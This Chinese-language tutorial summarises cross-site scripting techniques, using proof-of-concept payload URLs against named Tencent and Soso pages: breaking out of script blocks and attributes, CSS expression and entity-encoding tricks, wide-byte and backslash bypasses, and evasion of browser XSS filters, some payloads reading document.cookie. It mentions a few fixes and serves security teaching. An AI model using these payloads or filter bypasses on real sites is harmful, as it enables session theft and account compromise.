那些年我们一起学XSS 总结

什么都没过滤的入门情况

  1. XSS 的存在,一定是伴随着输入,与输出 2 个概念的。
  2. 要想过滤掉 XSS,你可以在输入层面过滤,也可以在输出层面过滤。
  3. 如果输入和输出都没过滤。 那么漏洞将是显而易见的。
  4. 作为第一个最基础的例子, 我们拿出的是一个什么都没过滤(其实还是有些转义的,主要没过滤< , >)的例子。 这种例子出现在
    腾讯这种大网站的概率不是很高。 但是还是让我找到了一个。

首先手动输入payload看源码,找到输入的payload所在位置(比如score=aaaaaaaaaa'"><script>alert(1)</script>

可以在源码看到他的输出情况例如

  1. < > 是否被转义
  2. 单引号 双引号是否被转义
  3. / 可用吗

输出在<script></script>之间的情况

2.1 首先判断,是否过滤了 < , > , / 等符号

2.2 如果都没有过滤,恭喜你,一般可以直接 XSS 了。代码如下:

1
http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa</script><script>alert(1)</script>

源代码:

1
2
3
<script
type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaa(_ret);}catch(err){aaa(_ret);}</scrip
t>

构造后的代码

1
2
3
<script
type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaaaaaaaa</script><script>alert(1)</scri
pt>(_ret);}catch(err){aaaaaaaaa</script><script>alert(1)</script>(_ret);}</script>

如果存在过滤> < 的情况下我们可以使用其他的payload

1
eval('alert(1)');void

构造后的结果:

1
2
3
<script
type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.eval('alert(1)');void(_ret);}catch(err){
eval('alert(1)');void(_ret);}</script>

主要还是看payload 附近的源码是怎么样的,该如何去闭合他执行我们所输入的js嗲吗

输出在 HTML 属性里的情况

和前面的不一样的时,有时候,输出会出现在 HTML 标签的属性之中。

input标签

1
2
3
4
例如:
<input value="输出">
<img onload="...[输出]...">
<body style="...[输出]...">

这时候我们需要把注意点放在 输出 点中

例如

1
关键词:<input type="text" value="乌云欢迎您" />

构造payload

1
2
http://xxxx.com/search.php?word=乌云欢迎您" onclick="alert(1) 	#闭合前面的双引号  当用户点击这个文本框时就会触发alert(1)
<input type="text" value="乌云欢迎您" onclick="alert(1)" /> #这是对应的源代码

防御方法:

" 过滤为&quot;

过滤后的代码<input type="text" value="乌云欢迎您&quot; onclick=&quot;alert(1)" />

body标签

查看payload 的所在位置

没有过滤 \ ,反斜线, 而 css 里,允许使用转义字符, \ + ascii16 进制形式。这样一来,我们就可以构造利用语
句啦。

1
2
3
4
5
6
http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=
;w:expr\65ssion\28%20eval\28\27\69\66\28\21\7
7\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2
e\78\3d\31\7d\27\29\29&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qin
gfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipeng
tx

遗憾之处在于,基于 css expression 的 XSS 已经进入暮年了,只有在 IE6,7 下方能触发,受众面小。这里只是作为一个
案例来讲讲。
Tips: 至于这里的转义是如何写的:步骤如下:
例如 e 的 ascii 16 进制是 65, 我们就写为 expression -> expr\65ssion

常规来说,因为 onxxxx="[输出]"href="javascript:[输出]"<script>[输出]</script>没有太大区别。因为[输出]所在的地
方,都是 javascript 脚本。但是<script>[输出]</script>如果被过滤,往往没有太好的办法。而上面这 2 种情况,则有一个很好的办法绕过过滤。
Tips:

在 HTML 属性中,会自动对实体字符进行转义。一个简单的比方。

<img src="1" onerror="alert(1)">

<img src="1" onerror="alert&#x28;1&#x29;">

是等效的

换言之,只要上面的情况,没有过滤 &,# 等符号,我们就可以写入任意字符。

JS 部分我们可以做以下构造,由于'被过滤,我们可以将'写为 &#x27;

1
2
3
4
5
location.href='........&searchvalue_yjbg=aaaaaa'

location.href='........&searchvalue_yjbg=aaaaaa'+alert(1)+''

location.href='........&searchvalue_yjbg=aaaaaa&#x27;+alert(1)+&#x27;'

步骤如下:

接着我们把代码转换为 url 的编码。 &-> %26, # -> %23

最后利用代码如下:

1
2
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaa%26%23x27;%2balert(1)%2b%2
6%23x27;

修复方案:

  1. 对于输出在 HTML 属性中的情况,需要特殊情况特殊对待,该过滤\的时候,请过滤, 该过滤&的情况,则过滤掉&
  2. 碰到有某些修复的人用正则去判断, &#xNNN.., 而实际上 �NN; &#x00NN, (后面自己慢慢试。。) 都是可以的。 或者是 &#10
    进制; 以及一些特殊的 HTML 实体,如 "等,都要注意到,好麻烦, 最好的办法,还是 &过滤为 & :

on 事件

插入合乎逻辑的JS代码即可。也可以使用伪协议。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
onload
onclick
onunload
onchange
onsubmit
onreset
onselect
onblur
onfocus
onabort
onkeydown
onkeypress
onkeyup
ondbclick
onmouseover
onmousemove
onmouseout
onmouseup
onforminput
onformchange
ondrag
ondrop

宽字节复仇记

如果不在属性内,且双引号被过滤的情况下(" 转义为 &quot) ,我们可以使用宽字符绕过,类似sql注入

前提是编码支持中文

wiki
1
<meta http-equiv="Content-Type" content="text/html; charset=gb18030" />		 # gb**** 系列的都可以使用宽字符注入

payload

1
http://open.mail.qq.com/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%c0%22;alert(1);//aaaaaa

至于这个漏洞的成因,和传统的宽字节漏洞并不一样。目测应该是由于过滤双引号的正则表达式写得有问题造成的。并不是因为%22 变 成了 %5c%22,而 %c0 吃掉了后面的%5c。 而后面这种情况,在腾讯的相关站点暂时没有发现实际案例。 如果有,欢迎大家分享。

反斜线复仇记

如果有遇到写双引号被转义,且不再属性内,又没有中文编码的情况下 可以根据情况使用\ 进行绕过

漏洞处:

1
2
location.href="........."+"&ss=aaaa"+"&from=bbb"+"&param=";//后面省略。   这里输入点" 转义为 &quot
location.href="........."+"&ss=aaaa&quot+"&from=bbb&quot+"&param=";

我们可以控制的是 aaaa ,又不能用",怎么办呢?

因为我们可以使用 \,那么我们可以杀掉 aaaa 后面的 双引号。

1
location.href="........."+"&ss=aaaa\"+"&from=bbb"+"&param=";

为了保证 bbb 后面的语法正确性,我们把 bbb 改为一个数字,把 bbb 后面加上 // 来注释掉后面的部分。变成以下形式

1
location.href="........."+"&ss=aaaa\"+"&from=1//"+"&param="

但是会出来一些问题,"字符串"&from=1,这样是错误的,因为&符号的优先级高, ("字符串"&from)=1 是无法进行这种赋值操作的。这样一来还是不行。别着急。我们可以稍微改动一下。变为以下形式

1
location.href="........."+"&ss=aaaa\"+"&from==1//"+"&param=";		#由于==的优先级比 & 高,所以语句相当于 ("字符串")&(from==1)

由于 from 未定义,直接和 1 进行相等判断的话,会报错,错误是:“from”未定义。。。怎么办呢?

javascript 里有一个特性。 如下:

1
2
3
4
5
aaa();

function aaa(){

}

凡是以 function xxx(){} 形式定义的函数,都会被最优先解析。

利用这样一个特性,我们的代码可以改改。

1
2
location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"&param=";
这样一来,我们的 function from(){} 就会被提前解析,从而定义了 from, 后面 from==1 的时候,就不会报错啦

我们的空格被转义为了&nbsp;

1
location.href="........."+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"&param=";

最终使用反斜线为 双引号报仇

换行符复仇记

输入 payload 查看xss代码出现在源码的哪些地方,若是出现在多处地方可以使用crlf方法进行绕过限制(一处地方被转义,另一处地方可能不被转义)

XSS 过滤器绕过 [通用绕过]

触发xss时,payload 可能会被 浏览器中的 xss filter 拦截 。Chrome的拦截器就很强大

危害部分被和谐了。

  1. 那么怎么绕过呢? 这里直接说方法。

  2. 首先要求缺陷点,允许 < , > 。其次,要求缺陷点的后方存在</script>标签。 我们看看当前的这个点的代码。

1
2
3
<input type="hidden" id="sClientUin" value=""><img src=1 onerror=alert(1)>">

<script type="text/javascript" src="http://pingjs.qq.com/tcss.ping.js"></script>

构造如下payload

1
2
<script src=data:,alert(1)<!-
http://bangbang.qq.com/php/login?game=roco&uin="><script src=data:,alert(1)<!--&world=5&roleid=44583443&level=8&role=%2

XSS 过滤器绕过 [猥琐绕过]

有些时候,通用的绕过技巧并不可行,这个时候我们就得观察缺陷点的周围环境,想想其它办法咯。“猥琐绕过”与通用绕过不
同的是,它通用性小,往往只是特例

一个dom xss 绕过过滤器的实例

  1. 直接看实例点:
    http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID=aaaaaaaaaa
  1. 可以看出,这是一个 DOM XSS 的点。

  2. 我们看看源码。

    1
    2
    3
    4
    5
    6
    7
    var siDomain = paras['siDomain'],
    g_StyleID = paras['g_StyleID'].replace("v6/","");
    if(siDomain.indexOf(".qq.com")>-1){//防止 qzs.qq.com
    siDomain = paras['siDomain'] = "qzonestyle.gtimg.cn";
    }
    document.write('<link href="http://'+siDomain+'/qzone_v6/gb/skin/'+g_StyleID+'.css" rel="stylesheet" /><link
    href="http://'+siDomain+'/qzone_v6/home_normal.css" rel="stylesheet" />');

    不难看出,siDomain 与 g_StyleID 都是地址栏里获取过来,然后通过 document.write 输出到页面中。

  3. 利用先前教程的知识,我们不难构造出利用代码。
    http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID="><script>alert(document.cookie) </script>
    可以看到,IE 下成功弹出

但是到了 chrome 下,又被拦截

这个时候怎么办呢? 因为这里接受地址栏的参数时,是以 "=" 分割,因而我们的代码中是不允许携带 等号的。故上一篇的技巧不
能拿到这里来使用了!

chrome 拦截,是有一定的拦截规则的,只有它觉得是恶意代码的才会去拦截。这个时候,就需要我们“观察地形”啦!!
我们仔细看看这句。

1
g_StyleID = paras['g_StyleID'].replace("v6/","");	#这里会对 g_StyleID 进行一次替换,将 v6/替换为空。

我们的 g_StyleID 写为下面的情况
<scrv6/ipt>alert(document.cookie)</script>
经过替换后,就会变成。

<script>alert(document.cookie)</script>

但是 chrome 并不会把<scrv6/ipt>alert(document.cookie)</script> 当作恶意的,是不是就可以绕过了?
我们试试。

1
2
http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID="><scv6/ript>alert(document.cook
ie)</script>

果然可以~

DOM xss

前面的教程,说到了显式输出和隐式输出。但是不论怎么样,因为最终 javascript 都会通过 document.write 或 innerHTML 将内
容输出到网页中,所以我们总是有办法看到输出到哪里。 但是有时候,我们的输出,最终并没有流向 innerHTML 或 document.write,
而是与 eval 发生了邂逅,我们该怎么挖掘并利用呢?

详细说明:

-------------本文结束感谢您的阅读-------------